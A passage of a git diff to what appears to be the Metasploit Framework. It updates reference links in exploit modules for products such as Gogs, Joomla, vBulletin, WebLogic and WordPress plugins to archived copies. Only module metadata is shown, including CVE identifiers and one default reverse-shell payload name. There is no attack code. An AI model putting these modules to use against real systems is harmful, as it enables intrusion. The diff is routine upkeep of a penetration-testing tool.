'http://web.archive.org/web/20211209025818/https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/'] ], 'DisclosureDate' => '2020-10-07', 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/gitlist_arg_injection.rb b/modules/exploits/multi/http/gitlist_arg_injection.rb index 965c3ea3ea444..d213c037e984d 100644 --- a/modules/exploits/multi/http/gitlist_arg_injection.rb +++ b/modules/exploits/multi/http/gitlist_arg_injection.rb @@ -26,7 +26,7 @@ def initialize(info={}) [ [ 'CVE', '2018-1000533' ], [ 'EDB', '44548' ], - [ 'URL', 'https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html'] + [ 'URL', 'http://web.archive.org/web/20200122054133/https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html'] ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/gogs_git_hooks_rce.rb b/modules/exploits/multi/http/gogs_git_hooks_rce.rb index e633abe4bf167..b24786e5c3b45 100644 --- a/modules/exploits/multi/http/gogs_git_hooks_rce.rb +++ b/modules/exploits/multi/http/gogs_git_hooks_rce.rb @@ -45,7 +45,7 @@ def initialize(info = {}) ['CVE', '2020-15867'], ['EDB', '49571'], ['URL', 'https://podalirius.net/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/'], - ['URL', 'https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/'] + ['URL', 'http://web.archive.org/web/20211209025818/https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1126-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/'] ], 'DisclosureDate' => '2020-10-07', 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index c05a0989ba91a..07576a1c211eb 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -29,7 +29,7 @@ def initialize(info = {}) }, 'References' => [ - ['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html'] + ['URL', 'http://web.archive.org/web/20161229045841/http://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html'] ], 'Targets' => [ diff --git a/modules/exploits/multi/http/joomla_http_header_rce.rb b/modules/exploits/multi/http/joomla_http_header_rce.rb index 88b0f5c8fe04c..3a25ea9879985 100644 --- a/modules/exploits/multi/http/joomla_http_header_rce.rb +++ b/modules/exploits/multi/http/joomla_http_header_rce.rb @@ -31,8 +31,8 @@ def initialize(info = {}) ['CVE', '2015-8562'], ['EDB', '38977'], # PoC from Gary ['EDB', '39033'], # Exploit modified to use "X-Forwarded-For" header instead of "User-Agent" - ['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], - ['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], + ['URL', 'http://web.archive.org/web/20250117165939/https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'], + ['URL', 'http://web.archive.org/web/20250220041731/https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'], ['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'], ['URL', 'https://blog.patrolserver.com/2015/12/17/in-depth-analyses-of-the-joomla-0-day-user-agent-exploit/'], ['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'], diff --git a/modules/exploits/multi/http/moodle_spelling_path_rce.rb b/modules/exploits/multi/http/moodle_spelling_path_rce.rb index 12f08e1594399..5da6e4af5a11c 100644 --- a/modules/exploits/multi/http/moodle_spelling_path_rce.rb +++ b/modules/exploits/multi/http/moodle_spelling_path_rce.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2021-21809'], - ['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] + ['URL', 'http://web.archive.org/web/20250221153941/https://talosintelligence.com/vulnerability_reports/TALOS-2021-1277'] ], 'DefaultOptions' => { 'Payload' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { diff --git a/modules/exploits/multi/http/vbulletin_unserialize.rb b/modules/exploits/multi/http/vbulletin_unserialize.rb index a724182906b93..af5428043fdab 100644 --- a/modules/exploits/multi/http/vbulletin_unserialize.rb +++ b/modules/exploits/multi/http/vbulletin_unserialize.rb @@ -29,7 +29,7 @@ def initialize(info = {}) [ ['CVE', '2015-7808'], ['EDB', '38629'], - ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], + ['URL', 'http://web.archive.org/web/20160608045552/http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] ], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb b/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb index 12f1be88dac19..2a79e8ab72347 100644 --- a/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb +++ b/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2019-16759'], ['URL', 'https://seclists.org/fulldisclosure/2019/Sep/31'], - ['URL', 'https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html'] + ['URL', 'http://web.archive.org/web/20250117152609/https://blog.sucuri.net/2019/09/zero-day-rce-in-vbulletin-v5-0-0-v5-5-4.html'] ], 'DisclosureDate' => '2019-09-23', 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index a3307eca39763..715a1a01fb8db 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -80,7 +80,7 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr ['URL', 'https://www.oracle.com/security-alerts/cpujan2023.html'], # Advisory ['URL', 'https://github.com/gobysec/Weblogic/blob/main/WebLogic_CVE-2023-21931_en_US.md'], # Writeup ['URL', 'https://github.com/gobysec/Weblogic/blob/main/Weblogic_Serialization_Vulnerability_and_IIOP_Protocol_en_US.md'], # Additional Info on Weblogic and IIOP - ['URL', 'https://github.com/4ra1n/CVE-2023-21839'], # PoC + ['URL', 'http://web.archive.org/web/20230831012940/https://github.com/4ra1n/CVE-2023-21839'], # PoC ['URL', 'https://www.fortiguard.com/outbreak-alert/oracle-weblogic-server-vulnerability'] # EITW alert. ], 'Privileged' => false, diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 51cdd9ae6d9bd..9090849ff9d74 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -27,7 +27,7 @@ def initialize(info = {}) [ ['EDB', '44638'], ['CVE', '2018-1000049'], - ['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'] + ['URL', 'http://web.archive.org/web/20200809230426/https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution'] ], 'Platform' => ['win', 'linux'], 'Targets' => diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index b74350a3105f3..029f76c78e8ee 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -31,7 +31,7 @@ def initialize(info = {}) 'References' => [ # RMI protocol specification - [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], + [ 'URL', 'http://web.archive.org/web/20110824060234/http://download.oracle.com:80/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], [ 'URL', 'http://www.securitytracker.com/id?1026215'], [ 'CVE', '2011-3556'] ], diff --git a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb index 6e928f347247e..0e8ec8a53752a 100644 --- a/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb +++ b/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb @@ -25,7 +25,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2019-2725'], - ['URL', 'http://www.cnvd.org.cn/webinfo/show/4999'], + ['URL', 'http://web.archive.org/web/20190508024326/http://www.cnvd.org.cn/webinfo/show/4999'], ['URL', 'https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html'], ['URL', 'https://twitter.com/F5Labs/status/1120822404568244224'] ], diff --git a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb index 0757c34ad72ef..3ad9c8fdacaff 100644 --- a/modules/exploits/multi/php/php_unserialize_zval_cookie.rb +++ b/modules/exploits/multi/php/php_unserialize_zval_cookie.rb @@ -40,7 +40,7 @@ module is more reliable across a wider range of systems. [ ['CVE', '2007-1286'], ['OSVDB', '32771'], - ['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'], + ['URL', 'http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html'], ], 'Privileged' => false, 'Payload' => diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 6b0c530b9838c..b5f5ae87bd9a7 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -80,7 +80,7 @@ def initialize(info = {}) ['URL', 'https://www.pentestgeek.com/2013/07/19/invoke-shellcode/'], ['URL', 'http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/'], ['URL', 'https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html'], - ['URL', 'https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html'], + ['URL', 'http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html'], ['URL', 'https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/'], ['URL', 'https://iwantmore.pizza/posts/amsi.html'], ['URL', 'https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/'], diff --git a/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb b/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb index db41150f070db..8317969749d65 100644 --- a/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb +++ b/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb @@ -35,7 +35,7 @@ def initialize(info = {}) ['CVE', '2021-27876'], ['CVE', '2021-27877'], ['CVE', '2021-27878'], - ['URL', 'https://www.veritas.com/content/support/en_US/security/VTS21-001'] + ['URL', 'http://web.archive.org/web/20250222002651/https://www.veritas.com/content/support/en_US/security/VTS21-001'] ], 'Platform' => %w[win linux], 'Targets' => [ diff --git a/modules/exploits/osx/local/feedback_assistant_root.rb b/modules/exploits/osx/local/feedback_assistant_root.rb index f597a45c66b73..ab07173d38474 100644 --- a/modules/exploits/osx/local/feedback_assistant_root.rb +++ b/modules/exploits/osx/local/feedback_assistant_root.rb @@ -27,7 +27,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2019-8565'], - ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'], + ['URL', 'http://web.archive.org/web/20190423083938/https://medium.com/0xcc/rootpipe-reborn-part-ii-e5a1ffff6afe'], ['URL', 'https://support.apple.com/en-in/HT209600'], ['URL', 'https://github.com/ChiChou/sploits'], ], diff --git a/modules/exploits/osx/local/timemachine_cmd_injection.rb b/modules/exploits/osx/local/timemachine_cmd_injection.rb index 82d53ccb74326..0e87129c9ebea 100644 --- a/modules/exploits/osx/local/timemachine_cmd_injection.rb +++ b/modules/exploits/osx/local/timemachine_cmd_injection.rb @@ -32,7 +32,7 @@ def initialize(info = {}) ], 'References' => [ ['CVE', '2019-8513'], - ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'], + ['URL', 'http://web.archive.org/web/20201113192302/https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'], ['URL', 'https://support.apple.com/en-in/HT209600'], ['URL', 'https://github.com/ChiChou/sploits'], ], diff --git a/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb b/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb index 3f0704dd028ed..bb3bd8ca03a39 100644 --- a/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb +++ b/modules/exploits/unix/fileformat/ghostscript_type_confusion.rb @@ -25,8 +25,8 @@ def initialize(info = {}) %w{CVE 2017-8291}, %w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808}, %w{URL https://seclists.org/oss-sec/2017/q2/148}, - %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d}, - %w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3} + %w{URL http://web.archive.org/web/20240723023227/https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d}, + %w{URL http://web.archive.org/web/20240703041152/https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3} ], 'DisclosureDate' => '2017-04-27', 'License' => MSF_LICENSE, diff --git a/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb b/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb index 15dc112dc0d8e..bb73633bf4a41 100644 --- a/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb +++ b/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb @@ -25,7 +25,7 @@ def initialize(info = {}) 'François Renaud-Philippon ' # original PoC, discovery ], 'References' => [ - ['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'], + ['URL', 'http://web.archive.org/web/20230521153651/https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'], ['CVE', '2020-8816'] ], 'Platform' => ['unix'], diff --git a/modules/exploits/unix/http/quest_kace_systems_management_rce.rb b/modules/exploits/unix/http/quest_kace_systems_management_rce.rb index 9866fc636161f..342c9868272ad 100644 --- a/modules/exploits/unix/http/quest_kace_systems_management_rce.rb +++ b/modules/exploits/unix/http/quest_kace_systems_management_rce.rb @@ -43,7 +43,7 @@ def initialize(info = {}) 'References' => [ ['CVE', '2018-11138'], - ['URL', 'https://support.quest.com/product-notification/noti-00000134'], + ['URL', 'http://web.archive.org/web/20210508161500/https://support.quest.com/product-notification/noti-00000134'], ['URL', 'https://www.coresecurity.com/advisories/quest-kace-system-management-appliance-multiple-vulnerabilities'] ], 'Payload' => @@ -86,7 +86,7 @@ def check version = Rex::Version.new res.headers['X-KACE-Version'].to_s vprint_status "Found KACE appliance version #{version}" - # Patched versions : https://support.quest.com/product-notification/noti-00000134 + # Patched versions : http://web.archive.org/web/20210508161500/https://support.quest.com/product-notification/noti-00000134 if version < Rex::Version.new('7.0') || (version >= Rex::Version.new('7.0') && version < Rex::Version.new('7.0.121307')) || (version >= Rex::Version.new('7.1') && version < Rex::Version.new('7.1.150')) || diff --git a/modules/exploits/unix/http/xdebug_unauth_exec.rb b/modules/exploits/unix/http/xdebug_unauth_exec.rb index dda15936c978b..fbe9119cabd14 100644 --- a/modules/exploits/unix/http/xdebug_unauth_exec.rb +++ b/modules/exploits/unix/http/xdebug_unauth_exec.rb @@ -25,7 +25,7 @@ def initialize(info = {}) ], 'References' => [ ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'], - ['URL', 'https://paper.seebug.org/397/'] + ['URL', 'http://web.archive.org/web/20231226215418/https://paper.seebug.org/397/'] ], 'License' => MSF_LICENSE, 'Platform' => 'php', diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 7722cd49bd969..cc1edf236190a 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -27,7 +27,7 @@ def initialize(info={}) [ ['OSVDB', '83891'], ['BID', '54464'], - ['URL', 'http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html'] + ['URL', 'http://web.archive.org/web/20170128123244/http://www.opensyscom.fr/Actualites/egallery-arbitrary-file-upload-vulnerability.html'] ], 'Payload' => { diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index fe6281d6626d0..1a578847d6e9d 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -35,7 +35,7 @@ def initialize(info = {}) [ 'OSVDB', '88825' ], [ 'BID', '57082' ], [ 'EDB', '25304' ], - [ 'URL', 'http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ], + [ 'URL', 'http://web.archive.org/web/20221221070124/http://hg.moinmo.in/moin/1.9/rev/7e7e1cbb9d3f' ], [ 'URL', 'http://wiki.python.org/moin/WikiAttack2013' ] ], 'Privileged' => false, # web server context diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index bb0814e52b55e..b6f2301a8813c 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -27,7 +27,7 @@ def initialize(info = {}) [ 'CVE', '2005-2877' ], [ 'OSVDB', '19403' ], [ 'BID', '14834' ], - [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ] + [ 'URL', 'http://web.archive.org/web/20230609051423/https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithRev' ] ], 'Privileged' => true, # web server context 'Payload' => diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 3a7f73fa75328..f1d386cc0171b 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -27,7 +27,7 @@ def initialize(info = {}) [ 'CVE', '2004-1037' ], [ 'OSVDB', '11714' ], [ 'BID', '11674' ], - [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ] + [ 'URL', 'http://web.archive.org/web/20221006175642/https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ] ], 'Privileged' => true, # web server context 'Payload' => diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index ef4db3e962659..6421067cd6303 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ['OSVDB', '82653'], ['BID', '53809'], ['EDB', '18993'], - ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'], + ['URL', 'http://web.archive.org/web/20150106144832/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'], ['WPVDB', '6106'] ], 'Platform' => 'php', diff --git a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb index 024e802431743..112da427efa2b 100644 --- a/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb +++ b/modules/exploits/unix/webapp/wp_frontend_editor_file_upload.rb @@ -29,7 +29,7 @@ def initialize(info = {}) [ ['OSVDB', '83637'], ['WPVDB', '7569'], - ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html'] + ['URL', 'http://web.archive.org/web/20170203203305/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html'] ], 'Privileged' => false, 'Platform' => ['php'], diff --git a/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb b/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb index 6180190d5e3f1..8feb5fc7e95c0 100644 --- a/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb +++ b/modules/exploits/unix/webapp/wp_infinitewp_auth_bypass.rb @@ -36,7 +36,7 @@ def initialize(info = {}) ['WPVDB', '10011'], ['URL', 'https://www.webarxsecurity.com/vulnerability-infinitewp-client-wp-time-capsule/'], ['URL', 'https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/'], - ['URL', 'https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html'] + ['URL', 'http://web.archive.org/web/20250117161327/https://blog.sucuri.net/2020/01/authentication-bypass-vulnerability-in-infinitewp-client.html'] ], 'DisclosureDate' => '2020-01-14', 'License' => MSF_LICENSE, diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index e08457fda1d0b..3ea3451856e3e 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -29,7 +29,7 @@ def initialize(info = {}) ['OSVDB', '82656'], ['BID', '53787'], ['EDB', '18987'], - ['URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'], + ['URL', 'http://web.archive.org/web/20150103065650/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html'], ['WPVDB', '6225'] ], 'Platform' => 'php', diff --git a/modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb b/modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb index c386e4fd1b95d..cd0565cc64c50 100644 --- a/modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb +++ b/modules/exploits/unix/webapp/xymon_useradm_cmd_exec.rb @@ -34,7 +34,7 @@ def initialize(info = {}) [ ['CVE', '2016-2056'], ['PACKETSTORM', '135758'], - ['URL', 'https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'], + ['URL', 'http://web.archive.org/web/20240519104648/https://lists.xymon.com/pipermail/xymon/2016-February/042986.html'], ['URL', 'https://www.securityfocus.com/archive/1/537522/100/0/threaded'], ['URL', 'https://sourceforge.net/p/xymon/code/7892/'], ['URL', 'https://www.debian.org/security/2016/dsa-3495'] diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 18df4d4b194cc..96dd2258aa03a 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -24,7 +24,7 @@ def initialize(info={}) ['CVE', '2013-0232'], ['OSVDB', '89529'], ['EDB', '24310'], - ['URL', 'http://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'] + ['URL', 'http://web.archive.org/web/20211207213730/https://itsecuritysolutions.org/2013-01-22-ZoneMinder-Video-Server-arbitrary-command-execution-vulnerability/'] ], 'Author' => [ diff --git a/modules/exploits/windows/backupexec/ssl_uaf.rb b/modules/exploits/windows/backupexec/ssl_uaf.rb index 309f78a9a87bc..4019ff4659fdf 100644 --- a/modules/exploits/windows/backupexec/ssl_uaf.rb +++ b/modules/exploits/windows/backupexec/ssl_uaf.rb @@ -44,7 +44,7 @@ def initialize(info={}) [ [ 'CVE', '2017-8895' ], [ 'VTS', '17-006' ], - [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] + [ 'URL', 'http://web.archive.org/web/20181112174302/https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] ], 'Platform' => 'win', 'Stance' => Msf::Exploit::Stance::Aggressive, diff --git a/modules/exploits/windows/browser/adobe_flash_pcre.rb b/modules/exploits/windows/browser/adobe_flash_pcre.rb index c02af29e99162..643b02b3db1a0 100644 --- a/modules/exploits/windows/browser/adobe_flash_pcre.rb +++ b/modules/exploits/windows/browser/adobe_flash_pcre.rb @@ -29,7 +29,7 @@ def initialize(info={}) [ [ 'CVE', '2015-0318' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ], - [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ] + [ 'URL', 'http://web.archive.org/web/20160110043607/https://code.google.com/p/google-security-research/issues/detail?id=199' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index be8d430d72696..ee03008e6ef44 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -35,7 +35,7 @@ def initialize(info={}) [ 'ZDI', '11-276' ], [ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ], - [ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ] + [ 'URL', 'http://web.archive.org/web/20170111122134/http://0x1byte.blogspot.com:80/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ] ], 'Payload' => { diff --git a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb index 2f10707dfe892..958cfd443a427 100644 --- a/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb +++ b/modules/exploits/windows/browser/adobe_flatedecode_predictor02.rb @@ -30,7 +30,7 @@ def initialize(info = {}) [ 'CVE', '2009-3459' ], [ 'BID', '36600' ], [ 'OSVDB', '58729' ], - [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ], + [ 'URL', 'http://web.archive.org/web/20201207001443/https://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html/' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ] ], 'DefaultOptions' => diff --git a/modules/exploits/windows/browser/greendam_url.rb b/modules/exploits/windows/browser/greendam_url.rb index ef1b01489f8b8..74181d0d6b8ac 100644 --- a/modules/exploits/windows/browser/greendam_url.rb +++ b/modules/exploits/windows/browser/greendam_url.rb @@ -39,7 +39,7 @@ def initialize(info = {}) 'References' => [ ['OSVDB', '55126'], - ['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'], # Analysis of the Green Dam Censorware System + ['URL', 'http://web.archive.org/web/20110426190759/http://www.cse.umich.edu/~jhalderm/pub/gd/'], # Analysis of the Green Dam Censorware System ['EDB', '8938'], # Original exploit by seer[N.N.U] ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'], # .NET DLL memory technique ], diff --git a/modules/exploits/windows/browser/java_cmm.rb b/modules/exploits/windows/browser/java_cmm.rb index d9bec5b449475..a29caa1fa69b8 100644 --- a/modules/exploits/windows/browser/java_cmm.rb +++ b/modules/exploits/windows/browser/java_cmm.rb @@ -37,7 +37,7 @@ def initialize( info = {} ) [ 'BID', '58238' ], [ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ], - [ 'URL', 'http://pastie.org/pastes/6581034' ] + [ 'URL', 'http://web.archive.org/web/20161013042610/http://pastie.org/pastes/6581034' ] ], 'Platform' => %w{ java win }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, diff --git a/modules/exploits/windows/browser/java_docbase_bof.rb b/modules/exploits/windows/browser/java_docbase_bof.rb index 2fc0b95d68930..21afcd15e4ad2 100644 --- a/modules/exploits/windows/browser/java_docbase_bof.rb +++ b/modules/exploits/windows/browser/java_docbase_bof.rb @@ -49,7 +49,7 @@ def initialize(info = {}) [ 'URL', 'http://blog.harmonysecurity.com/2010/10/oracle-java-ie-browser-plugin-stack.html' ], [ 'ZDI', '10-206' ], [ 'URL', 'http://code.google.com/p/skylined/issues/detail?id=23' ], - [ 'URL', 'http://skypher.com/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/' ], + [ 'URL', 'http://web.archive.org/web/20130119152812/http://skypher.com:80/index.php/2010/10/13/issue-2-oracle-java-object-launchjnlp-docbase/' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html' ], 